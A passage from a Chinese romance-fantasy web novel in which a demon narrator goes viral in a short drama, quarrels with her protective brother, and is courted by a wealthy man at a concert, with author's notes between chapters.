走进大厅里,干净得没有一丝灰尘,通往电梯的路上设有门禁,保安衣着光鲜,表情严肃地站在旁边。 领头的人说?:“霍总,我?是费智志,你叫我?小费就好了。” 霍亦瑀没有回应,而是看?向我?,浅淡的棕眸锐利而明亮,语气含笑:“听到没,叫他小费。” 我?看?向领头的男人,他忙不迭地朝我?点头。 走进电梯时,小费一直按着开关?,等我?们进入后,才微微一笑迈进来,按下十三楼。 “这栋大厦一共35层楼,下面十层楼还没租出去,我?们用的是十一到二十楼,包括各个?部门,财务、宣传、外?务、一些拍摄楼层和员工培训。” 小费说?:“现在大家都在工作呢,格外?有精神,财务部没什么看?的,我?们直接去看?宣传部吧。” 电梯门打?开,小费在前面带路,还夹着一个?黑色的板子,时不时看?两眼,像是要演讲一样正式。 十三楼摆满了办公桌,每个?分开的区域里装了一个?人,腰背挺直,紧紧地盯着电脑屏幕,旁边不远处有一个?白?板,附近还有摆放着书籍和零食的架子。 穿过办公桌时,收获到无数个?隐秘的瞥视,像是海底沙子里埋着的海洋生物,在巨型捕食者游过时,只敢冒出泡泡。 我有一种自己当了老板的既视感,不由?惬意地打?量在座的打?工人,发现他两分钟只打?了五个?字,屏幕上的图片没变过。 小费注意到我?的视线,立马挡在我?面前,狗腿地说:“我们进去看吧,现在正在拍摄广告。” “拍广告?”我?来了兴趣,“不应该去广告公司拍吗?” 小费解释道:“我们主营短剧,是个?刚起来不久的经纪公司,和大的广告公司没有交集,主要自营。” 他带着我?们穿过走廊,来到凌乱的、充斥着闪光灯和黑布的房间里,这里的人正忙着工作,到处散乱着拍摄道?具。 一个?化过妆、打?扮精致的男人站在聚光灯中心,旁边的摄影师正在指导他的姿势。 等摆好了,摄影师咔嚓嚓连拍几张,不远处坐在电脑前的人将屏幕转过来,问她行不行。 还有几个?打?扮过的高挑男女站在旁边,等待着拍摄,座位上有人正在化妆。 场面闹哄哄的,终于?有了点专业感。 小费在旁边详细地介绍员工和每个?地方的用处,捧着手里的板子,带着我?们绕了一圈。 霍亦瑀的表情一直淡淡的,像是在游山玩水似的,看?不出心情,他低头问我?:“你觉得怎么样?” “还行吧。”我?说?,“跟我?想象差不多。” 小费陪笑两声,好奇地问:“那您对什么感兴趣呢?我?们可以等会先去那。” “短剧。” 我?说?:“你们在拍短剧吗?我?想看?。” 小费立马拍手,满脸笑容。 “说?来巧了,今天正好有个?导演在拍摄最新的作品,他以前是个?拍电影电视剧的,最近转行做短剧了。” “她非常专业,来拍短剧简直是降维打?击。” 小费脚步飞快地回到电梯前,压不下嘴角的弧度:“现在他们正在十八楼,我?们先去看?看?吧。” 电梯上升至十八楼。 比起拍摄广告时的场景。十八楼更加混乱,穿着服装的人或蹲或站在墙边,目光看?向不远处正在立着的几个?人。 穿着背心的女性手里握着剧本?,正皱着眉跟演员说?话:“你刚才的情绪完全不行,表情崩成这样,在屏幕上完全没法看?。” 演员很?委屈:“可是以前都是这样演的,越强烈越好。” “所以以前你是错的。” 导演淡淡地哼了声,来到摄影师旁边:“重?新再来一次,我?要的是有内涵的表演,你们都给我?认真点。” 人员再次行动起来,操纵着重?型摄影机对准两位主演,后面几个?演员走来走去,充当背景板。 我?十分感兴趣地盯着他们,和在手机屏幕里不同,他们是鲜活的人,中途有人笑场,导演立马喊停。 小费趁机跑了过去,在导演耳边说?了几句,她原本?不耐烦拧着的眉头松开,惊喜地朝我?们看?来。 她的视线顿了片刻,和小费一样,笑容满脸地迎了上来。 “霍总,还有这位女士,你们来得刚好,我?正好拍摄第二集 呢,昨天上了一集,观众反应相?当不错。” “是吗。”霍亦瑀扫眼周围的人,不咸不淡地说?:“看?来你适应得不错。” 导演笑着说?:“只是兴趣,如果?是正职,我?可不会这么轻而易举地放过他们。” “对了,上次我?交给您的项目,您觉得——” “先不说?这个?。” 霍亦瑀抬起手打?断她的话:“我?今天只是来看?看?,而且你的项目,其他投资方也在看?,何必着急呢。” 导演频频点头,“对对对。” 她的视线扫过我?,亲切地问:“这位小妹妹长得可真好看?,对演戏感兴趣吗。” 我?看?向她身后正在挣扎着背剧本?的演员们,摇摇头说?:“对演戏不感兴趣,我?只对工资感兴趣。” 她被我?逗笑。 “那正好啊,演戏能赚钱呢,我?看?你一定能火,可以试试来演戏,当我?的演员,我?一定把你捧红。” 小费忽然凑近她,在她耳边说?了什么,导演眼睛一亮,看?了眼霍亦瑀,然后凑到我?耳边,柔声细语地说?:“现在想试试吗?就当是玩了。” 我?猛然来了兴趣,自信满满表示我?可以。 霍亦瑀依旧站在远处,饶有兴趣地看?着我?。 导演告诉我?这是一个?传统的狗血剧本?,男主重?生回到十年前,遇上一堆极品亲戚,然后打?脸的俗套剧情。 而现在正在拍男主为了寻找叛逆的妹妹,进入酒吧里找人,途中遇到极品亲戚两个?,在路上借钱,然后被男主无情地拒绝的时候。 导演让我?当男主的妹妹,在开场男主惊慌的时候,叛逆地坐在小舞台上面,握着话筒唱歌,挑衅哥哥。 我?问她那这个?角色的后续是什么? 她说?:“那当然是被哥哥纠正,去当歌星了啊。” “你会唱歌吗。” 我?当然会,于?是自信点头。 原本?来了几个?化妆师,但导演想了想,决定让我?直接上。 我?兴致勃勃地坐在布置的场景的左上角,为了模拟酒吧的灯光,只有我?头上有一盏明亮的光,其余的是员工在旁边发光,对准男主和两位极品亲戚,其余氛围组演员负责走来走去。 导演亲自领着摄影师走了一圈,确定拍摄路线,然后坐在监视器后面,目光炯炯地盯着屏幕。 “咔。” 原本?木楞的场景一下子活了过来,背景演员们各司其职,发挥出自然的演技。 男主控制住表情,看?上去像个?悲伤蛙,摄影机在他的身后走了几步,然后移至斜前方,对准他的脸。 “可恶、到底是谁带她来这种地方的,以前的我?为什么完全没有发现。” 男主念出台词:“这一次,我?一定要让妹妹重?新走回正道?。” 一阵音乐声响起,我?头上的灯亮了。 按照指示群演们从我?附近经过,而摄影师穿过人群来到我?面前。 我?拿起旁边的话筒,半靠在桌子上。 回忆起导演说?过的话。 “随便唱几句就可以了,后期会给你配音。” 和朋友出去玩的时候,偶尔会去ktv,但我?只喜欢听,一般懒在沙发上,听她们唱歌。 虽然我?不怎么听歌,但刷短视频刷多了,肌肉记忆般记住了用于?配乐的歌曲片段。 那就随便唱两句吧。 我?对着话筒,随口唱出萦绕在大脑里的、擦边视频的bgm。 男人配上这音乐擦边,特?别有韵味。 灯光笼罩我?眼前,周围显得格外?暗淡,等我?唱完脑子里的旋律,摄影师还站在我?面前,直到导演喊了一声,他才走向下一个?指定点。 男主念起台词,有股卡顿的机器重?新运作的凝滞感。 等灯光重?新亮起,照亮整个?搭建背景时,我?发现霍亦瑀不知何时来到导演身后,两个?人一起看?着屏幕。 我?向他们靠近,群演们像鱼一样被水波推到两边。 “怎么样?”我?特?别自信地问。 “好!”导演从座位上跳起来,激动地握住我?的手,“真是特?别好,就凭这个?片段,肯定能爆一段时间。” 她目光炙热地看?着我?,让我?的头越昂越高,深感自己是个?演戏天才,心情飘飘然。 鼻尖的酒味猛然加浓,像是不一小心被碰倒的利酒,散发出几乎炙热的、让人头晕目眩的气味。 霍亦瑀正盯着我?看?,目光犹如刀光,亮得快要割伤人的皮肤。 “我?厉害吧。”我?昂着头说?。 “厉害。” 他忽然拉着我?,将我?带出人群包围圈,身后的导演伸出手,哎哎叫了两声。 “你感觉怎么样。” “还好。” 我?回忆刚才的感受,砸吧下嘴说?:“在大家面前装了一波,还是挺爽的。” “刚才你像是在发光。”他挑起我?的头发,目光紧锁着我?,“你不会知道?那有多么吸引人。” 我?为什么会不知道?? 作为恶魔,我?肯定是特?别吸引人类。 就像这个?世界的幻想故事?总是写的那样,恶魔是诱惑人类、让他们堕落的物种,在我?的那个?世界同样如此,不过,人类更加崇拜我?们,哪像现在这样污名?化。 首先,恶魔是不会和人类签订契约的。 也不会吃人……呃,总之,我?不会吃人! 霍亦瑀像是读出了我?的眼神,饶有兴趣地说?:“那应该知道?自己想要什么。” 我?点头,坦荡地说?:“我?想买个?大房子,有落地窗,可以看?天,看?海,最好什么都能看?。” “想要的话,也要行动。” “我?在动诶。” 我?持续发射视线信号,像扇风一样眨巴眼睛,“看?出来吗?我?已经在行动了,就像你一样。” 他低低地笑,将压在西装下的领带抽了出来:“可惜了,我?们想的不是同一个?东西。” “想要新房子的话,你需要先从旧的搬出来,然后丢掉一些不再需要的东西。” “不是吗?”他说?。 我?确定了。他在诱惑我?。 “你要资助我??” 我?眼睛瞬间发亮:“投资我?,可是绝对不会亏本?的。” 我?全赚了,亏不了一点。 “有离开A市的想法吗?” 没有回答我?的问题,霍亦瑀忽然开始说?起自己的事?,自顾自地说?:“我?不会一直待在这里,H市靠海,你应该去看?看?有海的地方。” H市啊,像在世界另一端那么远,远离我?的窝,远离我?的资产。 想到遥远的距离和各种麻烦,我?皱皱鼻子,叹了口气说?:“不要。” “哥哥离不开我?。” 我?随便找了个?借口,故作深沉地说?:“事?情不是那么简单,想做就能做,要考虑很?多现实因素啊。” 闻言,霍亦瑀慢条斯理地收回视线,手指摩挲着领带,喉结上下移动,嘴边的笑容加深了一点。 “再过几天吧,我?有一点新的想法,有些事?要忙一会。” “那你走的时候要给我?说?。” “当然。” 他笑着说?:“我?不会忘记重?要的事?。” 离开前,他意味不明地感慨了一句:“时间很?快,不要说?得太绝对,想法和天气一样,很?快就会变化。” “现实不过是包裹着礼物的塑料封膜,想要的话,它不会是你的问题。” “我?有预感,好事?即将到临。” 这话竟一语成谶。回家后没几天,当我?照常瘫在家里无所事?事?时,手机突然被轰炸了——”你火了!”潘小谷在电话那头尖叫—— 作者有话说:窝要休息了,如果明天写不出来的话,就后天晚上再更新,窝会努力的(握拳) 大概还有五章结束,我要引爆烟花(极速揍人) 第65章 我火了。 手机像被投了炸弹般疯狂震动?, 打过电话后,朋友们?铺天盖地的消息汹涌而来,主题高度统一,重点是苟富贵勿相忘。 莫名其妙的, 就在昨天晚上, 短剧片段一炮而红, 在某音平台上被人截出来问是谁,荣获八十万点赞,并且正在朝一百万进发。 原来火起来这么简单。 我点开视频反复欣赏,唯一不满的地方是还没到一百万的点赞量, 于是转发给所有人,让他们?帮我刷视频数据。 那?些?跳动?的数字仿佛已经化作实体,叮叮当当地落进我的口袋, 我越看越沉醉,简直爱不释手。 与此同时,其他人的消息也一齐涌出。 [泉卓逸(1.7有钱有颜有技术)]:你?去?拍短剧了?奢侈品生意不做了? [泉卓逸(1.7有钱有颜有技术)]:真有你?,拿到就丢, 你?到底想做什么 [泉卓逸(1.7有钱有颜有技术)]:我的业绩已经回去?了 [泉卓逸(1.7有钱有颜有技术)]:不能回来吗,难不成你?打算再也不来,再也不管我吗……我对你?来说是个笑话吗 …… [世界第一恶魔大人]:(链接) [世界第一恶魔大人]:每天看一百遍 [泉卓逸(1.7有钱有颜有技术)]:…… [泉卓逸(1.7有钱有颜有技术)]:刷完就来看我 [宗贱朔人]:哟,这不是我们?翘班的老板吗, 为什么会出现在短剧片段里?? [宗贱朔人]:还不回来的话, 工资要打给谁, 好吧, 我会记在你?哥的账上 [宗贱朔人]:要我刷数据的话,就回个我原谅宗朔了 [世界第一恶魔大人]:我还没原谅宗朔 [宗贱朔人]:记得下?周来一趟 [邛浚(小心诈骗)]:哇塞看看这是谁,简直会发光哦 [邛浚(小心诈骗)]:可以给我签个名吗?证明我是未来大明星的好朋友(小熊跳舞.gif) [世界第一恶魔大人]:(链接) [世界第一恶魔大人]:每天看一百遍 [邛浚(小心诈骗)]:可是我每天很忙诶, 哎呀,如?果能拿回电瓶车钥匙,我可以化身大水坝哦 还是不可能还的。 我顺手发去?照片以示“人质”,对面回复哭泣的小熊表情,说自己?一定?会泄洪赎回“人质”。 在一片喧嚣中,麦景的回复格外简短: [麦景]:好 孤零零的一个字,在汹涌的消息洪流中显得格外令人舒适。 [柯觅山(有钱)]:学妹,我还以为你?不是喜欢出风头的人 [柯觅山(有钱)]:原来你?喜欢这样吗,有点让人意外 [世界第一恶魔大人]:(链接) [世界第一恶魔大人]:每天看一百遍 [柯觅山(有钱)]:群发? [柯觅山(有钱)]:我们?还在相互讨厌呢^^ [世界第一恶魔大人]:^^ [浦真天]:小冬,是这样刷吗?我把手机放在旁边一直播放算播放量吗?对不起,我不是很会 [世界第一恶魔大人]:可以,一定?要看够一百遍! [浦真天]:好(握拳) [浦真天]:不知道该不该说,但是明子的心情好像很差,你?有跟他说过这件事吗?他最近状态有点差,哎,我原本不想跟你?说的,但是刚才?他把热水倒在手上,还不肯去?敷药……你?多关心一下?他吧,毕竟是兄妹 我翻回哥哥的聊天界面,他没有回复我群发的消息,罕见地沉默着,将我的消息视作空气。 是因为伤到手了吧。我理所当然地想。 视频很快突破百万赞,还在源源不断地上涨,速度快到令人觉得诡异,真有几?分像泄洪了。 但数据越高我越喜欢,截图给霍亦瑀发过去?,得意地炫耀。 [霍亦瑀(超级有钱)]:很不错的成绩,你?应该考虑换个有趣的工作 [霍亦瑀(超级有钱)]:上次的导演想要联系你?演戏,不过,我们?应该先再商量商量 [霍亦瑀(超级有钱)]:接下?来,你?想要做什么呢? 我盯着屏幕的几?个字,陷入了思考。 当然是把流量变现,像所有成功的网红一样赚得盆满钵满,买一栋落地窗的豪宅,买一片山头。 还没等我畅想完,新消息弹了出来。 [霍亦瑀(超级有钱)]:别着急 [霍亦瑀(超级有钱)]:下?次见面前,你?有很多时间来思考 手机烫得像是要燃烧起来,消息提示音此起彼伏,几?乎要把屏幕撑爆。 虚拟世界的热度仿佛有形的实体,那?些?跳动?的数字能改变人生,只需要动?动?手指,就可以勾动?整个世界。 呼吸时,血管炙热,灵魂里?的痒意顷刻间被抚平,让我舒服得像是泡进温泉里?,不由砸吧下?嘴。 我兴奋地和朋友们发消息,她们?提了一堆建议,如?果要签约的话,让我仔细地把关经纪公司,合同一定?要备份,先请个专业的律师,绝对要经过谨慎的思考再行动?。 她们忍不住发出尖叫,在通话里?变成大喇叭,时不时发出一声感慨,又催着我唱歌给她们?听,说我应该当个歌星,或者去?演戏。 我问哪个赚的多。 经过三人的深思熟虑,最终得出一个结论,开演唱会来钱最快,尤其是全球巡回演唱会,但网红带货也不差,坐着轻松把钱挣。 隔着手机,我都能感受到她们?身上沸腾的情绪,让我有些?飘飘然。 原来火起来是这种感觉,我再次点开视频评论区,乐呵呵、得意地阅览每个评论,只挑夸我的看。 接连弹出的消息被我忽视个干净,直到夜幕降临,我仍然捧着手机看得津津有味。 门被打开,熟悉的食物气味涌进鼻腔里?。 我才?想起饥饿的事。 自从不去?工作后,我又回到偶尔饥饿的状态,但对于工作的厌烦让我忽略掉的饥饿,也是最近才?决定?饥饿终于要战胜厌烦,让我想要出门见见人。 但今天,我完全沉浸在手机带来的热度中,胃似乎没有那?么空了,填满了虚拟的事物,整个人轻飘飘的,像踩在棉花上,毫无实感。 哥哥走进屋,身后跟着微醺的浦真天,没有交流,动?作间响起窸窸窣窣的动?静。 浦真天犹豫地在我和哥哥之?间看来看去?,脚步停在餐桌边。 “浦哥,你?可以离开一下?吗。” 哥哥沉默地放下?东西,冷不丁开口。 浦真天下?意识看向我,欲言又止,又舔了下?唇,“明子,你?冷静点。” 哥哥:“我知道。” 浦真天又看了我一眼?,脚步缓慢地迈向卧室,关上门。 从他们?进门起我就放下?了手机,不解地看着这一幕,原本想要分享喜悦的心情戛然而止。 哥哥走到沙发边,低头看着我,那?张熟悉的、冷白的脸上没有一丝笑容,反而露出像是结冰湖面快要皲裂的表情。 他轻声说:“小冬,说点什么吧,什么都行。” “哥,你?有没有看我的视频。”我拉着他的手,得意地说,“我可以去?做网红、做明星赚大钱了。” 他黑沉的眸子像掉入了深海,见不到一丝光。 “那?我呢?” “你??”我打量着他,确定?和以前一模一样,认真地说,“你?不还在这里?吗?” “……” 我又把手机拿给他看,分享着喜悦,开心地说:“你?看,点赞量已经快到300万了,好多人在下?面评论,潘小谷说我可以去?开直播带货,肯定?能赚好多钱,你?快去?看评论,他们?都在夸我哦。” 我期待从他脸上看到崇拜的表情,但触及他的脸时,只看到了嘴唇紧绷、眸光闪动?的、不适的表情。 我放下?手机,问:“你?不喜欢?” 哥哥周身压抑着负面情绪,搭在膝盖上的手捏得泛白,艰涩地说:“……不是。” “骗人。” 我疑惑地说:“为什么你?不高兴?你?不应该为我高兴吗?如?果以后我能赚得比哥哥多,你?就不用?再去?工作了。” “哥,你?应该开心才?对。” 他突然提高音量,大声地驳斥道:“可是这不是一件好事!” “小冬,你?知道这到底意味着什么吗?” “知道啊,可以赚钱啊。” 哥哥脸色又苍白了些?,“网红不行,它不是个好职业,绝对不能成为那?样的人,很多评论全是恶意,那?是个巨大的泥潭,现在你?做什么都好——” “可是。”我说,“男公关不是更糟糕吗?” 如?果人类是机器,那?我要手动?把他调成高兴的模式,至少在我分享开心的时候,也露出同样的表情吧。 要不然有点让人不爽。 “……” 他垂下?头,挺直的脊背彻底弯曲,发丝遮掩住脸庞。 “如?果你?想的话,我会高兴。” “但是这件事,我做不到。” 他偏头看向我:“你?该睡觉了。” 几?乎是用?推的形式把我赶进房间,他关上房门,隔绝所有视线,一声不吭地开始生气。 他生气了。 我根本搞不懂为什么。 第二天起床时,他已经坐在沙发上,面无表情地看电视,餐桌上的仙人掌扎人地立着。 我坐过去?时,他连头都没动?。 从洗漱间出来的浦真天站在旁边,欲言又止,因为我坐在另一边,他只能坐在中间。 :“小冬,你?不吃饭吗?” “又没人做,我为什么吃。” 虽然我不需要吃饭,但为了装样子,一日两餐从来没有少过,但今天餐桌空荡荡,栾明摆明了要给我脸色。 “我给你?做了。”浦真天起身,端来粗糙的三明治。 “别生气了,生气对身体不好,咱们?有事可以说开,何?必闹脾气呢。” 我哼了一声,斜眼?看着他:“你?是站他那?边的?” “不是。”他脱口而出,又看了栾明一眼?,“我只是觉得有个误会。” “火起来不是好事当然不是坏事,对吧,小冬又没说她要做网红什么的……” “我要。”我立马说,把三明治塞进嘴里?,叛逆心被点燃,“我就是要当!” 栾明:“……” 他把电视机的声音调大了点,正在播放法治频道,受害者声泪俱下?地控诉被骗经历。 再一看,案件的名字叫[可怕的网红地狱]。 “浦真天。” 我冷酷地说:“告诉栾明,他没资格管我。” “……小冬。”浦真天软声叫我,“你?应该叫他哥哥。” 余光瞥见哥哥骤然收紧的拳头。 我:“才?不要。” “浦哥。” 栾明突然开口,声音像结了冰:“告诉小冬,好处会伴随着坏处一起出现,不会有人做好吃不求回报,更何?况是网红这种职业,网上的批判和指责毫不留情,危险远远大于机遇。” “浦真天。” 我说:“告诉栾明,你?说的都是屁话。” 浦真天僵硬地坐在中间,试图拉住我,柔声劝解。 “你?为什么不劝他?你?到底在帮谁?!” 我恼怒地推了他一把,浦真天摸着后脖颈叹气,傻愣地说:“帮你?,但是他是你?哥哥。” “你?不知道到底有多危险。”栾明仍然冷脸说着,“这和以前不是一回事。” “为什么?和别人出去?玩才?比上网的危险大吧。” 栾明抿紧嘴,手指握紧的同时,脸色越来越阴沉。 我扒拉着浦真天的手臂,隔着中间的人看向栾明,说:“为什么会危险?你?说过会保护我的,哪里?会有危险?” 栾明的神情松怔,像是从空中坠落的人,复杂的情绪那?一瞬间变得空白,想要紧紧抓住什么。 他难过地看着我,嘴唇微动?,想说点什么。 这时,手机震动?,还是被我设为特别关心的提示音。 两人的视线齐刷刷落在手机上。 [霍亦瑀(超级有钱)]:今晚有音乐演出,我猜你?会喜欢 [霍亦瑀(超级有钱)]:惊喜不请自来 [霍亦瑀(超级有钱)]:我在楼下? 我抬起头,撞上彻底冷下?的视线。 浦真天拉住我的手:“小冬,等等,我们?先——” “不要。” 我挣脱他的手,冲进卧室抓起外套,快步走到门口握住门把。 柠檬味酸到苦涩,强烈地占据我的嗅觉。 在开门前,我回头看去?。 这一次,他的痛苦突然变得索然无味,而楼下?正源源不断地引诱我。 栾明没有回头,固执地背对着我,而浦真天已经站起身,试图对我说点什么。 我打开门,朝楼下?走去?—— 作者有话说:窝来了……窝竟然做了! 哥哥处于应激状态,之前他一直处于纵容+感情反复阶段,前不久以为能够一家三口(兄妹+动物)好好的,结果富哥直接整了个大的(对高利贷+咚的事业)下手了,然后彻底炸了,但是束手无策,再次被咚刺激,有苦难言,真的爱憋,而且潜意识知道咚会走,不相信她会留下,有点绝望了 哥将彻底黑化变成钮钴禄哥 以及富哥说还有很多时间,结果立马就赶来了[眼镜] 窝要睡了,明天早上起来修文《 》 65-70 第66章 “生气?了?” 霍亦瑀饶有?兴趣地?看着我, 他浅色的眼?眸在车内光线下显得格外通透,问:“发生什么?事了?” 男人心,海底针。 我叹了口?气?,颇为疑惑地?说:“你会因?为别人开心而感到?不开心吗?” “不会。” 他交叠双腿, 唇角勾起一抹似笑非笑的弧度, “至少在别人开心的时候, 表面功夫总要做到?,不过也要分人。” 霍亦瑀顿了顿,意味深长地?补充:“若是我讨厌的人,那自然另当别论。” 我倒吸一口?凉气?, 完全没想过这个?可能?。不,栾明怎么?可能?讨厌我,难道?是他看到?我过得越来越好, 心里产生了扭曲的感情? 不对。我立刻否定自己,他巴不得我能?过上好日?子,怎么?会因?为我变好而生气?。 他到?底在想什么?? 我忽然有?一股强烈的冲动,想像撬开顽固的蚌壳一样撬开他的嘴, 让他别再沉默。 如果一直这样沉默地?痛苦着,那也太无趣了。 一只手伸到?我面前,轻轻打了个?响指。 “专心一点。”霍亦瑀轻笑着提醒,“我还?在你旁边呢。” 我:“我们?要去哪?” “去看音乐演出。”霍亦瑀舒适地?靠在后座, 忽然哼笑一声, “朋友送的票, 刚好我有?事, 就顺路来找你了,说来也巧,我有?些话想对你说。” 感受到?我好奇的目光, 他竖起手比在嘴前。 看表演前,我们?先去了餐厅。 我挑挑拣拣吃了几口?,又忍不住拿起手机,反复欣赏视频里自己的脸,在评论区里寻找赞美之词,等看到?好笑的,我兴奋地?把手机递给旁边的霍亦瑀,让他一起欣赏。 “截得不错。” 霍亦瑀心情很好地?评价:“时机抓得也很好。” 他看着屏幕上的字眼?,忽然抬起头,说:“你注意到?了吗,周围有?人在看你。” 顺着他的视线转头,果然对上了一位服务员来不及移开的视线,他羞涩地?笑了笑,立刻转头假装看风景。 “刚才进来时,就有?不少人在看你了。”他身体微微前倾,“喜欢吗?这种成名的感觉。” 我想了想,其实以前也差不多?。 “还?好。” 霍亦瑀眯起眼?睛笑了笑:“能?吸引你的东西总让我觉得有?趣,它好像没有?具体的特征,难以捉摸。” “明明很简单啊,”我说,“好玩的、我没见?过的就行。” 他低头抿了一口?酒,笑着不说话。 休息够了,我们?再次乘车前往举办演唱会的体育馆,途中手机不停震动。 是朋友们?的聚餐邀请,大家都迫不及待想在寒假聚一聚。 苏音仪提议可以在【极乐世界】聚会,她说自己已经没有?偏见?了,决定大大方方再去一次,至少要看到?帅哥才行。 我还?没告诉她们?我已经不去那里工作,但看着她们?兴奋地?讨论,我也同意了。 再次看到?【极乐世界】四个?字,竟感到?些许陌生。 因?为太久没去,反而又有?了新奇感。 泉卓逸还?在不停问我什么?时候见?面,急得像只团团转咬自己尾巴的狗,发来的消息也前言不搭后语,一会说相处的时间越来越少,还?说不是失去兴趣,一会又说是他的不好,下次有?麻烦,就算是浦真天,他也会上…… 精神十分不稳定,已经快到?临界点了。 我正准备回?复,霍亦瑀忽然开口?:“接下来的两个?小?时,专注点,好吗?” 他温和却不容置疑地?说:“表演时看手机,对台上的人可不尊重,只有?两个?小?时而已,我相信对面等得了。” 对哦,只是有?两个?小?时而已。我收起手机,撑着头打量四周。 我们?的位置距离舞台不近不远,正好可以正面观看,四周座位稀疏,仿佛这片区域专为我们?预留,而稍远些的地?方则座无虚席,乌压压的全是人。 我好奇地?问:“这是谁的演唱会?” “不认识。”霍亦瑀微微沉思,“应该是哪个?正当红的歌手吧,朋友公司旗下的艺人。” 等观众全部入场,我才真切感受到?这个?场馆能?容纳如此多?的人,放眼?望去,座无虚席,嘈杂的人声如同蜂群嗡鸣,一波接一波,我还?从未见?过这种场面,铺天盖地?的情绪几乎要凝成实体,化作海浪。 人类是情绪丰富的物种。 此刻数以万计的浓烈情绪摆在面前,瞬间将我震慑住了。 激动、期盼、渴望……甚至还有隐秘的痛苦,这些细小?的情绪汇成汹涌的河流,在蛋壳状的体育馆里孕育出我从未见?过的景象。 我看得呆住了。 如同第一次仰望星空,第一次品尝到?稀薄的、真实的爱意,一股电流击中了我,在脑海中绽放。 当歌手登台,握住话筒的那一刻,我听到了海啸般的尖叫声,如同巨浪拍击岩石,有?人面无表情,有?人难掩激动,有人在暗处痛苦不堪…… 成千上万的情绪汇聚成混乱而庞大的集合体。 我完全没听清歌手在唱什么?,只是着迷地?看着这幅景象,连身旁的霍亦瑀也无视了。 表演中场休息时,霍亦瑀终于唤回了我的注意力。 “回?神了,先喝点水。” 我慢半拍地?接过,将吸管含进嘴里嘬了两下,气?泡水涌入口?腔,瞬间,我精神一振,猛地?看向霍亦瑀。 “不舒服?我们?现在就可以走。”他整理着袖口?,专注地?看着我。 “不是。” 我摇摇头,忍不住滔滔不绝道?:“你知道?站在台上会是什么?感觉吗?会不会特别地?爽?他被所有?人看着诶,在上面肯定能?看到?不同的样子。” 那些情感像是挂在枝头的苹果,让我垂涎欲滴,如果放进嘴里,说不定会把我的胃撑坏,可惜,我吃不到?。 一只手摸上我的脸颊,我疑惑地?看向手的主人,用眼?神询问怎么?了。 “你很兴奋。” 冰凉的手指轻按在我耳后,能?感受到?脉搏的鼓动,他倾身靠近,目光灼灼地?看着我,“如果你想要,现在就可以去试试。” “想试试吗?” 我看了眼?舞台,果断点头。 他笑着摸了摸我的耳朵,看向不远处的工作人员,对方接收到?他的目光示意,立刻走了过来。 简单几句交谈后,工作人员离开了,随后霍亦瑀起身,说需要暂时离开一下。 中场休息结束,台上的歌手在唱完一首歌后,突然宣布要进行观众互动,他将挑选一位幸运观众上台共唱一曲。 全场灯光暗下,一道?光柱在看台上漫游,扫过一张张期待的面孔。 最终,光柱定格在我身上。 当我的脸出现在大屏幕上时,我听到?周围响起一片欢呼,继而引发海啸般的声浪。 我跟随工作人员上台,在后台有?几人迅速为我戴上耳麦。 然后,我站上了这黑暗场馆中唯一明亮的舞台。 站在这里,我终于看到?了那不一样的风景,无数双眼?睛,无数浮动溢散的情绪,如同璀璨星空,有?什么?东西在黑压压的人群中生长,蔓延至我脚下,融进我的灵魂里。 原本不能?被吃掉的情感陡然变了样,铺天盖地?向我涌来,没有?撑破胃袋,而是涌向了灵魂。 我彻底醉了。 大脑里卷起风暴,像是第一次直面大海,狂风暴雨浇在身上时的感觉。 醉是奇妙的。 让人头重脚轻,惬意无比,周身的情绪越来越多?,情感化作风浪,将我包裹在热流中。 唱完歌,被工作人员领回?座位,坐到?不知何?时已回?来的霍亦瑀身边时,我仍未完全回?神。 直到?演唱会结束,我的血液仍在沸腾,灵魂深处,我能?感受到?属于恶魔的身躯正以前所未有?的速度弥合修复,滔天的情绪反馈到?我身上,仿佛第一次尝到?了“完整”的食物,获得了连灵魂都坚实饱满的饱足感。 身边的人一直在观察我,适时将水递到?我唇边。 我含住吸管,飘飘然地?靠在他身上,“原来是这种感觉。” “……我喜欢。” 紧盯着我的浅色眸子有?我的倒影,忍不住抚摸他的脸颊,额头相抵,更仔细地?看去,沉醉在飘飘然的状态中,周围一切天旋地?转,模糊不清。 原来是这种感觉,这简直是为我量身打造的! 以前的穷困潦倒,都是因?为我走错了路!我应该当明星!我应该站在台上,让所有?人都看着我! 一个?一个?地?去捕猎完全是错误方法。 霍亦瑀握住我的手腕,视线像胶水般黏着,发出一声轻笑:“你看上去和上次很不一样。” 我快乐地?说:“我要当大明星。” 最好天天开演唱会,天天享受这绝顶的快乐。 只要想到?自己站在台上,源源不断的情绪向我涌来,就开心得——不得了! “想好了?” 管他什么?点头就对了。 “我可以帮你。但是,”霍亦瑀的手摩挲着我的后颈,又凑近了些,在我耳边低语,气?息温热,声音里流淌着轻微的电流,“这是有?条件的。就像之前那样,你给我什么?,我就给你什么?。” 我没听懂,歪了下头。 “你要丢掉过去的一切,然后跟我一起离开。” 他稍稍用力按住我,让我看着他:“我会给你时间考虑,但下周一就是最后期限。” “来我身边吧,你会拥有?一切。” 不等我反应,他的吻突然落下。 蓬勃的酒味让我更加沉醉,我回?味着在台上享用的情感集合体,所有?目光的加成,仿佛银河涌入体内,凝实了灵魂,哺育着破碎的身体。 说不定,再过几年,就能?彻底修复,回?到?真正的身体,回?到?原本的世界。 我忽然有?点感谢那个?推了我一把的恶魔,虽然记忆模糊,记不清他的脸,只记得那痛苦的、即将爆发的情感。 作为一个?恶魔,他的情绪丰富得不可思议。 简直就像人类一样。 唇齿分离,我咂咂嘴,飘忽忽地?傻乐起来。 太好了,这简直是太好了! 我全心全意沉醉在这新奇的感受里,也没太听清霍亦瑀在我耳边具体絮叨了些什么?,灵魂像坐过山车,飘飘欲仙。 他看上去非常愉悦,淡色的唇染着红,那张带有?野性的脸上浮现出淡淡的餍足,像终于将猎物纳入掌中的大型动物。 一团火在我胸口?燃烧,胃部暖洋洋的,像是装了个?小?太阳,满溢的情绪流向四肢百骸。 霍亦瑀送我到?家门口?,手指交缠着手指,呼吸交错了一瞬,但不合时宜的手机铃声响起,他不得不接起电话,蹙眉讲了几句,然后盯着我看了几秒,勾起唇角笑道?:“下周见?。” 我的脑子有?些短路,看着汽车消失在路的尽头,慢半拍想起他已经走了,才转身往楼上走。 醉意让思绪混乱,我只想傻笑,热气?不断上涌。 我走路歪歪扭扭,等敲响门,开门的是哥哥。 他目光沉沉地?看着我,让我记忆错乱,恍惚间仿佛回?到?了高中的某一天,那时我在外面玩到?很晚,他请假找了我一下午,回?家时也是这副表情。 只不过,此刻他似乎更加难过。 视线模糊面容,只看得清两点发冷的光。 我张开双臂抱住他:“别生气?了,下次我会早点回?来的。” “……没生气?。” 